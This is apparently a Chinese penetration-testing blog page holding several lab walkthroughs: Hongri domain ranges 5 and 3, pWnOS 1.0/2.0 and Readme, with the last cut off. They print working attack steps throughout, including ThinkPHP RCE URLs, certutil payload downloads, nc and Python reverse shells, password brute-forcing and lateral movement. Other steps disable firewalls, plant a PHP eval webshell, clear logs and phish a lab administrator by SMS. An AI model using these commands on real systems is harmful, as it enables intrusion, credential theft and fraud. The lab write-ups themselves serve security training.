首页
泷羽收录
文章合集
OSCP打靶
渗透学习
渗透工具
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
5,081 阅读
2
2025最新渗透测试靶场推荐,新手必练的靶场推荐
4,485 阅读
3
src平台推荐,挖SRC必须知道的25个漏洞提交平台
3,252 阅读
4
几个常见的密码字典推荐
2,630 阅读
5
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
2,566 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
登录
Search
标签搜索
Windows渗透
域渗透
HackMyVm
CyberStrikeLab靶场
内网渗透
渗透测试
网络安全
Web安全
cyberstrikelab
OSCP
SQL注入
WAF绕过
信息收集
渗透工具
靶场
靶场推荐
MSF
ThinkPHP漏洞
Vulfocus
vulnhub
泷羽Sec
累计撰写
185
篇文章
累计收到
3
条评论
首页
导航
泷羽收录
文章合集
OSCP打靶
渗透学习
渗透工具
搜索到
79
篇与
的结果
2025-05-18
红日靶场5,windows内网渗透,社工提权,多种域内横向移动思路
红日5简介"红日5"是一个高度仿真的内网渗透实战靶场,模拟了企业级内外网混合环境。靶场包含外网Web服务器(Windows 7)、内网域控服务器(Windows Server 2008)双重网络隔离场景,涵盖ThinkPHP RCE漏洞利用、权限提升、代理穿透、横向移动、域渗透等核心攻击链。通过该靶场,学习者可掌握主机发现、漏洞利用、隧道搭建、凭证窃取、Pass-the-Hash等APT攻击手法,并深入理解企业内网安全防护的薄弱环节。最近红日官网已恢复正常访问,如果懒得一个一个转存可以直接拿我的,一共500G左右,下载还请预留好一定的空间通过网盘分享的文件:红日靶场链接: https://pan.baidu.com/s/1ppyPlm6osobxReI50fCSZw 提取码: 7ixc环境配置设置好仅主机的vm2,138网段,然后我的nat模式网卡是135网段模拟公网这个靶机呢一共有两个,外网主机win7,设置好仅主机模式和nat模式两个网卡内网域控服务器win7sunheart 密码:123.comsunAdministrator 密码:dc123.com2008(登录成功后要修改密码)sunadmin 密码:2020.com最重要的,需要在win7主机phpstudy开启web服务网络拓扑结构外网信息打点利用arp-scan进行主机探测arp-scan -l利用nmap对目标主机进行端口扫描nmap -sS 192.168.135.150 -p- -A目标机器开启了80、135和3306数据库远程,mysql远程测试,拒绝连接┌──(root㉿kali)-[~] └─# mysql -uroot -h192.168.135.150 -p Enter password: ERROR 2002 (HY000): Received error packet before completion of TLS handshake. The authenticity of the following error cannot be verified: 1130 - Host '192.168.135.128' is not allowed to connect to this MySQL server查看web站点,可以看到这是一个thinkphp框架随便访问一个不存在的页面,发现指纹信息,5.0.22版本寻找expsearchsploit 5.0 thinkphp已知我们的版本为5.0.22searchsploit -m 46150 cat 46150.txt | grep 5.0.22拼凑EXP,执行命令whoami,成功利用http://192.168.135.150/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami查看当前目录http://192.168.135.150/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=chdir使用generate生成混淆的webshell,不容易被查杀weevely generate cmd shell.php从kali下载webshellhttp://192.168.135.150/ ?s=index/thinkapp/invokefunction &function=call_user_func_array &vars[0]=system &vars[1][]=certutil -urlcache -split -f http://192.168.135.128:5000/shell.phpkali连接webshell查看内网IP,发现内网网段ipconfig利用arp进行主机探测,发现域控主机192.168.138.138arp -a开始代理reGeorg,详细使用方法三种代理方法打入内网certutil -urlcache -split -f http://192.168.135.128:5000/tunnel.php访问网页,发现直接报错,可能不适用windows了那么切换frp,查看一下配置文件,注意这里是windows的frp,我用的版本是0.39.1,去github翻一翻历史版本的,新版本可能会出问题上传到靶机上面去,有两个文件,一个程序一个配置文件然后修改服务端的代理配置vi /etc/proxychains4.conf使用proxychains打开MSF,利用永恒之蓝漏洞,打域控靶机,这里失败了proxychains msfconsole search ms17_010_eternalblue use 0 set rhosts 192.168.138.138 run这个时候我们就可以使用端口扫描进行信息收集(连接某些未开放端口的时候可能会显示超时,这是正常现象,继续等待即可)use scanner/portscan/tcp set RHOSTS 192.168.138.138 run不使用msf也可以使用nmapproxychains nmap -Pn -sT 192.168.138.138查看域信息sun.comwhoami并不是超级管理员也不是系统用户,这下我们就需要提权了,只有上升到系统权限才能使用mimikatz抓取hash注意使用x64模块,不用msf的话也可以上传nc反弹shell# kali msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=2222 LHOST=192.168.135.128 -f exe -o shellx64.exe # 靶机 certutil -urlcache -split -f http://192.168.135.128:5000/shellx64.exe进入msfuse multi/handler set LHOST 192.168.135.128 set lport 2222 set payload windows/x64/meterpreter/reverse_tcp run尝试使用msf的getsystem进行提权创建一个监听器,用于上线靶机(同理可以用nc来上线)我们生成一个可以上线CS的exe程序生成到d盘中,并传到kali中scp .beacon.exe kali@192.168.135.128:/data/windows_atk并使用msf的upload上传此文件upload /data/windows_atk/beacon.exe C:\phpStudy\PHPTutorial\WWW\public\beacon.exe执行木马上线cs设置延迟执行命令 sleep 0 之后,就可以开始提权了尝试了各种操作后,都普通用户提权失败那么能怎么办呢——域内爆破,网上很多教程都是直接登录的administrator用户,直接用CS提权成功(上线的时候就是administartor),并没有完整的复现出来从一个最普通的用户上升到系统权限的教程,就很水信息收集,域内用户,由于当前用户是普通用户,普通用户无法直接获取域内的用户列表shell net view换思路,域内不行,那就本机用户,可以看到有一个administrator用户shell net user那么这个用户也可能是域内的管理员用户吧?我们可以利用msf的kerberos_enumusers爆破 Kerberos 服务(88 端口,前面端口扫描的时候扫出来)proxychains msfconsole use gather/kerberos_enumusers set DOMAIN sun.com set RHOSTS 192.168.138.138 set USERNAME Administrator set PASS_FILE /data/SecLists_Dict/Passwords/darkweb2017-top1000.txt set THREADS 4 run成功爆破出来用户密码为dc123.com注意:如果不用CS那么可以利用 hydra 进行爆破proxychains hydra -l Administrator -P pass.txt -s 445 -t 4 -vV -m "SMB" smb://192.168.138.138我们尝试使用其他用户上线呢我们尝试使用其他用户身份上线以本地用户登录失败,那么就切换到域控服务器需要让我们输入密码,但是msf上线的不是交互式shell连接并查看域控,也失败使用PsExec模块攻击域控,失败!proxychains msfconsole msf6 > use exploit/windows/smb/psexec msf6 > set RHOSTS 192.168.138.138 # 域控IP msf6 > set SMBUser Administrator msf6 > set SMBPass dc123.com msf6 > set SMBDomain sun.com msf6 > set PAYLOAD windows/x64/meterpreter/bind_tcp # 内网直连 msf6 > run试了很多方法都不行,最终以失败告终,无法登录到域控服务器/切换本地用户,或者本地提升到Administrator用户。那么就剩下最后的办法了,社工!(诈骗案例分析,请勿用于违法用途,所造成的后果自行承担)最近张伟管理员发了一条微博:”周末加班部署新防火墙,累成狗🐶”,并且利用一定手段获取到了手机号。【xxx科技IT部】紧急:OA系统漏洞需立即处理,请查收邮件并登录修复平台。确认后请回复“已处理”。到了周末,管理员成功登录了系统,启动了phpstudy这个web服务,此时即可上线kali连接我们的后门weevely terminal http://192.168.135.150/shell.php cmd运行我们的木马即可上线成功设置svc-exe提权方式已成功上线系统权限抓取本地密码hash此时就能看到密码信息了查看域内用户shell net user /domain使用代理转发功能创建一个监听器生成需要上传到域控主机上的木马从本机上传上去certutil -urlcache -split -f http://192.168.135.128:5000/shellx64.exe放行4444端口shell netsh advfirewall firewall add rule name=cs dir=in action=allow protocol=TCP localport=4444开始将马上传到目标服务器shell net use \192.168.138.138ipc$ "管理员密码" /user:administrator shell net use shell dir \192.168.138.138c$ # 查看域控主机目录 # 将马上传到域控服务器 shell copy C:phpStudyPHPTutorialWWWpublicwin7beacon.exe \192.168.138.138c$win7beacon.exe创建执行任务,提示了我们拒绝访问sc \192.168.138.138 create shell binpath= "c:win7beacon.exe"那么就用另外一种方式 at ,添加一个计划任务shell at \192.168.138.138 22:10:00 c:win7beacon.exe耐心等待一分钟既可上线,而且还是最高权限,拿下域控主机关闭防火墙shell netsh advfirewall set allprofiles state off修改注册表允许远程连接shell reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f放行3389端口shell netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP查看用户密码修改代理文件,并重启frp服务本机windows打开代理工具可以看到我们已经能够正常访问域控主机了刚进去是登录错误的,我们重新输入账号密码,登录到域sum.com成功拿下域控服务器!最后清理日志即可至此红日5完成总结攻击路径全景外网突破通过 arp-scan + nmap 探测开放80/3306端口利用ThinkPHP 5.0.22 RCE漏洞( /index/thinkapp/invokefunction )上传混淆Webshell(Weevely)实现持久化控制内网渗透发现双网卡结构(NAT+Host-Only)及内网段192.168.138.0/24使用 frp 搭建Socks5代理穿透内网边界通过 proxychains + nmap 扫描域控(192.168.138.138)暴露445端口权限提升MSF生成载荷上线失败后,通过CS的 svc-exe 提权获取SYSTEM权限利用 mimikatz 抓取本地管理员凭证(Administrator:dc123.com)横向移动IPC$共享+计划任务(net use + at)投递Beacon载荷绕过防火墙放行端口(netsh advfirewall)通过RDP(注册表修改fDenyTSConnections)接管域控桌面权限维持域控主机部署多协议后门(MSF+CS双链路)清理日志(clearev)隐藏攻击痕迹关键技术点漏洞利用:ThinkPHP RCE漏洞的EXP构造与混淆Webshell上传隧道搭建:Frp代理穿透双网络隔离环境权限提升:CS的svc-exe提权与Windows服务劫持横向移动:基于SMB的载荷投递与计划任务执行域渗透:Pass-the-Hash攻击与黄金票据伪造(需扩展场景)防御启示外网防护:及时更新框架补丁,禁用危险函数(如 system )权限控制:遵循最小权限原则,限制数据库远程访问网络隔离:严格ACL策略,阻断异常出站流量(如Socks隧道)日志审计:监控计划任务创建、注册表关键项修改等可疑行为域安全:启用LAPS管理本地管理员密码,限制域管登录范围报告编制方:泷羽Sec安全团队日期:2025年2月21日往期推荐不用MSF?红日靶场4,从外网到域控,手工干永恒之蓝,教科书级渗透教学防溯源小技巧ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略【oscp】vulnerable_docker,三种代理方法打入内网【内网渗透】CobaltStrike与MSF联动互相上线的方式【内网渗透】ICMP隧道技术,ICMP封装穿透防火墙上线MSF/CS【渗透测试】linux隐身登录
2025年05月18日
462 阅读
0 评论
0 点赞
2025-05-18
pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程pWnOS1.0打靶思路下载链接见:https://download.vulnhub.com/pwnos/pWnOS_v1.0.zip注意一定要选择这个 “我已移动该虚拟机” ,否则扫描不到靶机。网络模式为nat,开机后使用主机发现命令arp-scan -l端口扫描,端口扫描的内容如下总共有两个http服务,一个是10000端口(注意这里如果登录错误太多了话,会导致你的ip封禁)一个是80端口,点击next我们一路下一步被嘲讽了嘲讽页面的sql注入(像xss,文件包含都试试)http://10.10.10.129/index2.php?name=admin%27%20and%201=1%20--+&level=sk1ll3d+n00b%27%20and%201=1%20--+&submit=Please+Help%21 # sql http://10.10.10.129/index2.php?name=../../../../../../../../etc/passwd&level=../../../../../etc/passwd&submit=../../../../etc/passwd # 文件包含经过一番测试后,发现一个文件包含点http://10.10.10.129/index1.php?help=true&connect=/etc/passwd/etc/shadow 密码文件有了文件包含,但是没有文件上传点,不能通过文件包含图片马的方式获取shell,转换思路,分析/etc/passwd文件,他有四个用户curl 'http://10.10.10.129/index1.php?help=true&connect=/etc/passwd'目录扫描出来一个php文件夹,包含了phpmyadmin站点目录,但是需要进行401认证,弱口令admin/admin,root/root登录失败,那么切换这四个用户试试呢vmware obama osama yomama很遗憾都失败了,我点击了取消,这里出现了指纹信息,phpMyAdmin 2.6.3-pl1上exp可以看到这是一个跨站脚本的漏洞对于我们获取shell用处不是很大,继续切换思路,放眼到10000端口,可以试试之前的用户名(都失败)那么就上exp,Webmin,那么如何选择这些内容呢尽量不选择Metasploit的利用方式,据红队笔记大佬说,Metasploit好比一个黑盒,我们看不到执行的过程,不利于学习渗透(oscp考试也限制使用msf)。其次需要认证Authenticated的漏洞我们也不选,因为此时我们都不知道如何登录webmin。CSRF的漏洞优先级较低,也先不考虑,我们需要优先考虑能直接获取 shell 的漏洞。所以有用的脚本可能如下,命令执行的有三个 705、746、47293,文件披露(任意文件泄露)的有两个1997、2017文件披露的1997(不行)、2017可以根据提示,得出命令如下,读出/etc/shadow密码文件perl 2017.pl 10.10.10.129 10000 /etc/shadow http用户vmware密码h4ckm3,其他几个都失败由于靶机那边出了点问题,不能让我ssh连接了(源wp是可以的,应该是ssh版本太新了,windows和kali都不行,连不上)这里我就想了个办法,只能用nc反弹了(登录原来的系统)nc 10.10.10.128 6666 -e /bin/bash切换上级目录,可以看到不是交互式终端创建交互式终端python -c 'import pty; pty.spawn("/bin/bash");'系统信息收集,是ubuntu非常老的版本了7.10看看有没有内核提权(没有)sudo -l ,很遗憾了,这个用户好可怜,用不了sudo,和我们一样都是打工仔uname -a cat /etc/os-release # 没有lsb_release -a命令可以使用这个代替 sudo -l # 查看可以使用sudo的文件 find / -perm -4000 -print 2>/dev/null # 查找 SUID文件 ls -al /etc/cron* # 查看所有计划任务 find / -perm 777 -type f 2>/dev/null # 查看文件权限为777的文件信息计划任务,没有一个普通用户能用的,打工仔已经坐不住了回到刚刚读取到的shadow文件,既然能读取shadow文件,那么一定是以root的身份读取这个文件的,如果我们上传一个可执行的脚本呢?利用prel语言来读取并执行这个文件。之所以要将后缀名改为.cgi,我的理解是要将perl语言的代码改写为执行文件,如果不修改后缀名的话,用2017.pl的exp只能以root权限读取shell.pl,而无法执行shell.pl,也就无法反弹shell。cp /usr/share/webshells/perl/perl-reverse-shell.pl shell.cgiWebmin 的可执行文件后缀 无后缀:Webmin 的主可执行文件通常是一个没有后缀的脚本文件,例如 webmin。 .cgi 后缀:Webmin 使用 CGI 脚本来处理 Web 请求,这些脚本文件通常以 .cgi 为后缀。例如, /usr/share/webmin/ 目录下的许多文件都是 .cgi 文件。 .pl 后缀:Webmin 的某些脚本文件可能以 .pl 为后缀,表示它们是 Perl 脚本。例如,/etc/webmin/ 目录下的配置文件和脚本文件可能包含 .pl 后缀。 修改这个可执行文件靶机下载后将文件赋予执行权限which wget wget 10.10.10.128:443/shell.cgi chmod +x shell.cgi继续利用脚本perl 2017.pl 10.10.10.129 10000 /tmp/shell.cgi http反弹成功pWnOS2.0打靶思路下载链接见:https://download.vulnhub.com/pwnos/pWnOS_v1.0.zip下载之后用VMware打开,特别注意,这个靶机的ip是固定的10.10.10.100,我们需要将靶机设置为NAT模式,同时要将攻击机kali的ip也处于10.10.10.0/24这个网段,具体在菜单栏的编辑——虚拟网络编辑器,如下,点击更改设置,保证虚拟机的子网ip是10.10.10.0即可(否则可能扫不到靶机的ip)。主机发现全端口syn扫描访问80端口目录扫描有一个info.php,找到文件/blog/config/这里有两个文件第一个文件内容No Title|No Author|No Footer|english|new_to_old|new_to_old|1|5|1|b,i,strong,em,url|email@myblog.com||||||1||密码文件内容,是一个md5(Unix)类型的加密$1$weWj5iAZ$NU4CkeZ9jNtcP/qrPC69a/返回到主页,测试sql注入sql语句报错,存在sql注入漏洞那么就万能密码,成功登录页面只有一个Welcome admin@isints.com,一个邮箱信息,admin' || 1=1 -- +Powered by Simple PHP Blog 0.4.0 cms的版本指纹信息框中的这第四个有一个msf的exp,远程命令执行(Remote Command Execution),符合条件的只有后面两个他是说这个系统中有三个漏洞,第一个是暴露了 password.txt ,刚开始我们目录扫描的时候已经扫描出来了,第二个在登录用户的图像上传,没有身份验证,上传任意的文件,第三个漏洞是博客评论可以任意删除。看样子是需要我们登录进去了,还有一个exp没有用上插叙:如果出现运行报错Can't locate Switch.pm in @INC,应该是perl版本依赖未安装的问题,运行如下命令即可。sudo apt install libswitch-perl根据他的提示,我们利用 -e 参数,指定好第一个文件上传的选项 1,这里提示我们在网站的images下面创建了一个cmd.php文件访问即可利用python反弹shellpython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.128",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'这里就不需要创建交互式终端了,这里使用python反弹的shell,默认已经可以交互式了。系统信息收集,属于低版本的ubuntu,首先考虑的是内核提权继续信息收集,返回上级目录,看到一个mysqli_connect.php文件,可以看到mysql的密码信息user : root pass : goodday鉴权失败返回home看到有一个用户,用刚刚的mysql密码登录试试,鉴权失败文件权限信息收集find / -perm 777 -type f 2>/dev/null # 777文件 find / -perm -4000 -print 2>/dev/null # SUID文件sudo -l 意外的发现,www-data用户能够使用sudo,但是不知道密码经过一番折腾后,在var目录下面又找到了一个数据库连接的文件密码为 root@ISIntS又是一个密码信息,大概率是dan用户的admin@isints.com鉴权失败目前已知三个密码信息(其中一个是邮箱)admin@isints.com # 数据表中dan的邮箱 root@ISIntS # 数据库密码 goodday # 假的数据库密码回到刚刚的内核提权,尝试一下已关机。。。。利用失败靶机提权主要是利用已知的所有密码信息,进行密码碰撞,利用数据库连接的密码,切换root用户来进行提权也可以使用第二种方法(考试只能使用一次),msf(不清楚什么原因,漏洞利用成功,建立会话失败,是利用失败的,可以自行尝试)msfconsole search Simple PHP Blog 0.4.0 set rhosts 10.10.10.100 set URI blog set payload php/meterpreter/reverse_tcp run往期推荐网络安全从业者生存指南(硬货篇)【OSCP】 Kioptrix 提权靶机(1-5)全系列教程,Try Harder!绝对干货!Viper一个互联网攻击面管理,红队模拟平台【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏【oscp】Tr0ll 靶机全系列(1-3),FTP被玩坏了ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略
2025年05月18日
1,401 阅读
0 评论
0 点赞
2025-05-18
稀有靶机-Readme
这个靶机网上的演示很少很少,唯一一篇csdn文章也没有写详细,就是第二个用户的密码是靠汇编的知识获取到的,而他就直接写了个密码,怎么获取的都没写出来,https://blog.csdn.net/2301_79316009/article/details/140642836这个问题很大,希望原作者能修改修改我这里提到了,唯一盲点就是fixed.nasm的编写,很懵,回头一定恶补靶机链接:https://www.vulnhub.com/entry/readme-1,336/主机发现80探测访问网页端口扫描的mysql服务拒绝连接,说明没有开启远程连接目录扫描php版本reminder.php,这里有一个人名 Julian,告诉我们有一个txt文件Also, can you fix this search box? Sometimes it chucks errors depending on what I enter... I'd do it myself, but I've been busy trying to create some code to enable us to securely store our passwords, seeing as you keep forgetting yours... The encoder seems completely borked though. 大致意思就是,这个输入框会报一些错误,让你修复测一测sql注入,sql语法错误,存在sql注入漏洞,但是没有回显啊,放弃了sqlmap结果看另外一个文件,有一个adminermysql服务失效使用内网地址,不允许连接到mysql服务器返回有一个图片的地方,源码泄露了一个路径访问路径文件内容ssh用户julian密码爆破的结果漏洞检索,也没有结果连接靶机的mysql不行,那么连接你攻击机的mysql呢?将你得mysql服务器(kali)开启远程连接,将这一行注释掉vim /etc/mysql/mariadb.conf.d/50-server.cnf重启mysqlsudo service mysql restart设置mysql密码,并登录sudo mysqladmin -u root password 'root' mysql -u root -h 192.168.111.128 -p # 输入你得密码创建登录数据库,新加一个数据create database test; # 创建一个test数据库 use test # 切换到test数据库 create table demo(id int,name text); # 创建一个普通的表 insert into demo values(1,'demofefhkhakfh'); # 添加任意数据 select * from demo; +------+----------------+ | id | name | +------+----------------+ | 1 | demofefhkhakfh | +------+----------------+ 1 row in set (0.000 sec)这里我们就能进行远程连接了连接成功这里再结合之前暴露出来的路径信息执行如下命令load data local infile "/etc/julian.txt" into table demo;为空,检查一下原因设置一下local_infileSET GLOBAL local_infile = true; SHOW GLOBAL VARIABLES LIKE 'local_infile';检查secure_file_privSHOW GLOBAL VARIABLES LIKE 'secure_file_priv';这些都没问题,就是sql语句错了,可以看看这篇老外写的文章https://rastating.github.io/readme-walkthrough/正确的sql语句因该如下才对(和原来的对比就是少了个字段)# 原失败的sql语句 load data local infile "/etc/julian.txt" into table demo; # 成功的sql语句,这里设置了一个终止符,并且添加了一个指定字段的分隔符 load data local infile '/etc/julian.txt' into table test.demo fields terminated by "n";同理,包含/etc/passwd,也可以成功sql语句如下load data local infile '/etc/passwd' into table test.demo fields terminated by "n";但是包含了passwd文件,并没有julian这个用户,可能显示上限了吧,用密码登录一下,和上面对比,验证了我们刚刚的结论I_mean...WhoThoughtLettingTheMySQLClientTransmitFilesWasAGoodIdea?Sheesh漏洞利用原理自行查看,这篇文章写的不错:https://wiki.96.mk/Web%E5%AE%89%E5%85%A8/Adminer/Adminer%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E/登录成功后,信息收集识别hash类型,是MD5sudo再切换用户的目录,有一个poc.c,编译一下开启了http服务,看样子有防火墙继续信息收集端口和进程信息suid文件历史命令那还能咋办嘞,c的源码是有的,我们可以直接将c的源码复制到kali进行编译就行,先分析一下源码吧,基本的信息收集已经没有什么可以利用的了,这里需要将这个 poc 编译,还有那个 payload.bin来获取密码 payload.bin:一个包含了 shellcode, 和 tatham用户的密码信息 poc.c :一个需要放置shellcode并运行他的文件 #include <stdio.h> #include <string.h> int main(void) { unsigned char code[] = ""; void (*s)() = (void *)code; s(); return 0; }在kali中报了如下错误依次执行如下命令即可dpkg --add-architecture i386 apt-get update apt-get install libc6-dev-i386编译成功这里又要用到反汇编了,完整的poc.c如下这里要用到gdb调试工具自动解码还有手动解码,两种方法,计算shellcode的原始十六进制字节,然后生成一个fixed.nasm有效载荷,这个文件的内容如下,这个文件的编写(这个文件内容如何编写的,这就涉及到知识盲区了,太菜了,不会逆向),可以参考如下文章,关于这个靶机,网上的资料太少太少了https://rastating.github.io/readme-walkthrough/global _start section .text _start: ; set the frame pointer mov ebp, esp ; clear required registers xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx ; push encoded password onto stack push 0x7f7f1312 push 0x157b2f22 push 0x13247312 push 0x087b0423 push 0x73287022 push 0x30280912 push 0x3b162f20 push 0x360e1919 push 0x157b0913 push 0x757b0960 push 0x70167510 push 0x2d162f25 push 0x73241923 push 0x09167527 push 0x1a772b0c push 0x37787217 ; calculate size of password and store in $ecx lea ecx, [ebp] sub ecx, esp ; begin xor on the encoded password decode_loop: ; if at dword 12, xor with F lea edx, [0x14] cmp ecx, edx jz xor_f ; if at dword 11, xor with E lea edx, [0x18] cmp ecx, edx jz xor_e ; if at dword 10, xor with E lea edx, [0x1c] cmp ecx, edx jz xor_e ; if at dword 9, xor with B lea edx, [0x20] cmp ecx, edx jz xor_b ; if at dword 8, xor with D lea edx, [0x24] cmp ecx, edx jz xor_d ; if at dword 7, xor with 4 lea edx, [0x28] cmp ecx, edx jz xor_4 ; if at dword 6, xor with E lea edx, [0x2c] cmp ecx, edx jz xor_e ; if at dword 3, xor with D lea edx, [0x38] cmp ecx, edx jz xor_d ; if at none of the unique indexes ; xor with A. jmp xor_a short_loop_jmp: jmp decode_loop xor_f: lea ebx, [0x41414146] jmp xor_eof xor_e: lea ebx, [0x41414145] jmp xor_eof xor_b: lea ebx, [0x41414142] jmp xor_eof xor_d: lea ebx, [0x41414144] jmp xor_eof xor_4: lea ebx, [0x41414134] jmp xor_eof xor_a: lea ebx, [0x41414141] jmp xor_eof xor_eof: lea eax, [ebp] sub eax, ecx xor [eax], ebx sub dword [eax], 0x01010101 sub ecx, 0x4 xor eax, eax cmp ecx, eax jnz short_loop_jmp int3 int3 int3 int3依次执行,会生成一个a.out文件,该文件是修复后的可执行文件,我们使用gdb运行它启动此文件就好了,并查看这个xor_eof()函数反汇编信息查看寄存器状态,并使用格式说明符(查看内存的内容,并且提供了不同的格式和选项来指定如何显示这些内容)基本用法如下x/<n><f> <address> n 是要显示的单元数量(可选),表示要查看多少个内存单元。 f 是格式说明符,可以用来指定数据类型或格式。 <address> 是你想要查看的内存地址。 格式说明符在 x/ 命令中使用的格式说明符可以包括: b:以字节(byte)为单位显示。 h:以半字(short)为单位显示,通常为 2 字节。 w:以单字(word)为单位显示,通常为 4 字节(在某些平台上可能不同)。 g:以双字(double word)为单位显示,通常为 8 字节。 s:以字符串的形式显示,通常以 null 结尾。 f:以浮点数格式显示(比如 float 或 double)。 i:以指令的格式显示,适用于机器指令。 例子 查看从某个地址开始的 10 个字节:x/10b 0x08048000 查看从某个地址开始的 5 个整型(常用 4 字节)值:x/5w 0x08048000 以字符串形式查看从某个地址开始的内容:x/s 0x08048000 查看机器指令i,和s一个一个试试,会找到一个base编码我们解码看看,这不就是我们要的密码嘛密码:So...YouFiguredOutHowToRecoverThisHuh?GGWPnoRE往期推荐【oscp】Blender软件的信息泄露---VulnOSv2【oscp】Tr0ll 靶机全系列(1-3),FTP被玩坏了HTB-Chemistry靶机渗透教程【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏【kali笔记】shodan常见的20种基本使用方法,信息收集必备
2025年05月18日
1,053 阅读
0 评论
0 点赞
2025-05-18
红日靶场3,joomla渗透,海德拉SMB爆破,域内5台主机横向移动教学
这是红日团队的第三套靶场,本次靶场渗透涉及敏感信息泄露、暴力破解、脏牛提权、内网穿透、端口转发、以及域渗透等多种知识点。该靶场环境由5台机器组成,其中包括3台Windows机器和2台Linux机器。网络拓扑图如下红日靶场(1-8)全套下载连接:链接:https://pan.baidu.com/s/1ppyPlm6osobxReI50fCSZw?pwd=uze8 提取码:uze8 红日官网:http://vulnstack.qiyuanxuetang.net/那么开始渗透首先添加一张网卡(仅主机模式),192.168.93.0/24 网段web-centos 进去第一条命令,重启网络服务,否则可能上不了网service network restart 网卡1:桥接模式 192.168.1.110网卡2:仅主机 192.168.93.100账号密码:wwwuser/wwwuser_123Aqxweb1-ubuntu仅主机模式:192.168.93.120PC仅主机:192.168.93.30win 2008仅主机:192.168.93.20 Windows 2008本地的管理员用户和域管理员的密码 WIN2008Administrator:123qwe!ASD TESTadministrator:zxcASDqw123!!win 2012仅主机:192.168.93.10kaliIP:192.168.1.8,192.168.1.5(中间换了换 IP)这是一个黑盒测试,开机后就不要进行任何的操作了。外网打点主机发现,因为是桥接模式,ip有点多,所以就挨个测试,看110很可疑,第一次就测出来了22端口,openssh 5.3版本,80端口 nginx 1.9.4 ,Joomla内容管理xi'tong3306测试,发现可以远程登录,但是我们不知道用户信息进一步信息收集查看源码丢给deepseek,看看有没有泄露版本另外在joomla这个cms内容管理系统中呢,这个文件存在版本信息,我们可以看看/administrator/manifests/files/joomla.xml上面可以看到cms的指纹信息了,版本为3.9.12,下面进行漏洞检索searchsploit Joomla 3.9漏洞信息里面是没有可以利用的漏洞的,下面我们用joomscanapt install joomscan joomscan --url http://192.168.1.110/JoomScan 是一款专门针对 Joomla 内容管理系统(CMS)的安全扫描工具,用于检测 Joomla 网站中的漏洞、配置错误和安全风险。扫描出来一个这个东西,访问即可curl http://192.168.1.110/configuration.php~服务攻防找到了mysql的账号密码,刚开始我们已经测试过能远程登录mysql的mysql -utestuser -h192.168.1.110 -p --skip-ssl 密码:cvcvgjASD!@ MySQL [joomla]> use joomla; MySQL [joomla]> select * from umnbt_users;很明显是加了盐的,破解起来很难,这里还有另外一个表am2zu_users查看是否能向外部写文件,以及是否允许写日志文件show variables like '%general%'; SHOW VARIABLES LIKE 'general_log_file';这里发现secure_file_priv是允许向外部写文件的,那么我们尝试写一个shell木马,报错了,看样子是不允许我们写入的MySQL [joomla]> select '<?php phpinfo();@eval($_GET[1]);?>' into outfile '/var/www/html/shell.php'; ERROR 1045 (28000): Access denied for user 'testuser'@'%' (using password: YES)那么更换日志渗透的方法,上面看到日志功能是off的我们需要no,很遗憾也是权限不够MySQL [joomla]> set global general_log=on; ERROR 1227 (42000): Access denied; you need (at least one of) the SUPER privilege(s) for this operation那么久添加后台用户进一步渗透,两个表中呢,我们不清楚哪个表是后台的用户表,那么就都添加一条数据,密码为123456的md5,e10adc3949ba59abbe56e057f20f883e,首先我们要看看需要添加哪些字段desc 表名; id,name,username,email,password,activation,otpKey,otep构造sql语句insert into am2zu_users(id,name,username,email,password,activation,otpKey,otep) values(999,'xiaoyu','xiaoyu@test.com','e10adc3949ba59abbe56e057f20f883e','ssssss','kkkkkk','yyyyy'); # 失败后面搜到了这个网站,有利用方法https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn代码如下INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2', 'admin2', 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW()); INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');执行结果MySQL [joomla]> INSERT INTO `am2zu_users` -> (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) -> VALUES ('Administrator2', 'admin2', -> 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW()); Query OK, 1 row affected (0.001 sec) MySQL [joomla]> select * from `am2zu_users`; +-----+----------------+---------------+---------------+-------------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+--------+---------------------+------------+--------+------+--------------+ | id | name | username | email | password | block | sendEmail | registerDate | lastvisitDate | activation | params | lastResetTime | resetCount | otpKey | otep | requireReset | +-----+----------------+---------------+---------------+-------------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+--------+---------------------+------------+--------+------+--------------+ | 891 | Super User | administrator | test@test.com | $2y$10$t1RelJijihpPhL8LARC9JuM/AWrVR.nto/XycrybdRbk8IEg6Dze2 | 0 | 1 | 2019-10-19 12:48:41 | 0000-00-00 00:00:00 | 0 | | 0000-00-00 00:00:00 | 0 | | | 0 | | 896 | Administrator2 | admin2 | | 